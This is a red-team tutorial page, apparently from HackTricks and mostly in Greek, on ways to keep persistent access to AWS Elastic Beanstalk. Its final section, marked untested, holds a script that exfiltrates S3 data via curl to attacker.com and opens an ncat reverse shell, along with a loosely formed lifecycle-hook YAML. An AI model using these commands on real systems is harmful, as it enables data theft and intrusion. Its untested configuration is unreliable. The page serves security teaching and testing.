AWS - Elastic Beanstalk Persistence

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Elastic Beanstalk

For more information check:

AWS - Elastic Beanstalk Enum

Persistence in Instance

Για να διατηρήσει persistence μέσα στον AWS λογαριασμό, μπορεί να εισαχθεί κάποιος persistence mechanism μέσα στο instance (cron job, ssh key…) έτσι ώστε ο attacker να μπορεί να αποκτήσει πρόσβαση και να κλέψει IAM role credentials από το metadata service.

Backdoor in Version

Ένας attacker θα μπορούσε να backdoor τον κώδικα μέσα στο S3 repo ώστε να εκτελεί πάντα το backdoor του και τον αναμενόμενο κώδικα.

New backdoored version

Αντί να αλλάξει τον κώδικα στην υπάρχουσα version, ο attacker θα μπορούσε να αναπτύξει μια νέα backdoored version της εφαρμογής.

Abusing Custom Resource Lifecycle Hooks

Note

TODO: Test

Το Elastic Beanstalk παρέχει lifecycle hooks που επιτρέπουν την εκτέλεση custom scripts κατά το instance provisioning και termination. Ένας attacker θα μπορούσε να διαμορφώσει ένα lifecycle hook για να εκτελεί περιοδικά ένα script που exfiltrates δεδομένα ή διατηρεί πρόσβαση στον AWS account.

# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks